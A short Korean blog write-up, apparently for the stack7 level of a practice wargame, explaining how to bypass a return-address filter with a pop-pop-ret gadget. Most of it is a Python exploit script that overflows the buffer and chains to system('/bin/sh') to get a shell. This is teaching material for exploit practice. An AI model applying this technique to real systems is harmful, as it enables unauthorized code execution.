이번엔 0xb를 필터링합니다.

지금까지 사용하던 system 함수의 주소가 0xb7ecffb0이었으니 RTL은 못쓰겠네요.

ROP를 써봅시다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
ppr = 0x80485c7

payload = 'A'*80
payload += p(ppr)
payload += 'BBBB'
payload += 'BBBB'
payload += p(system)
payload += 'CCCC'
payload += p(binsh)

print payload

stack7.py



objdump에서 뽑아낸 ppr 가젯을 이용하여 ROP를 때려줍시다.

쉘을 따줍니다.




+ Recent posts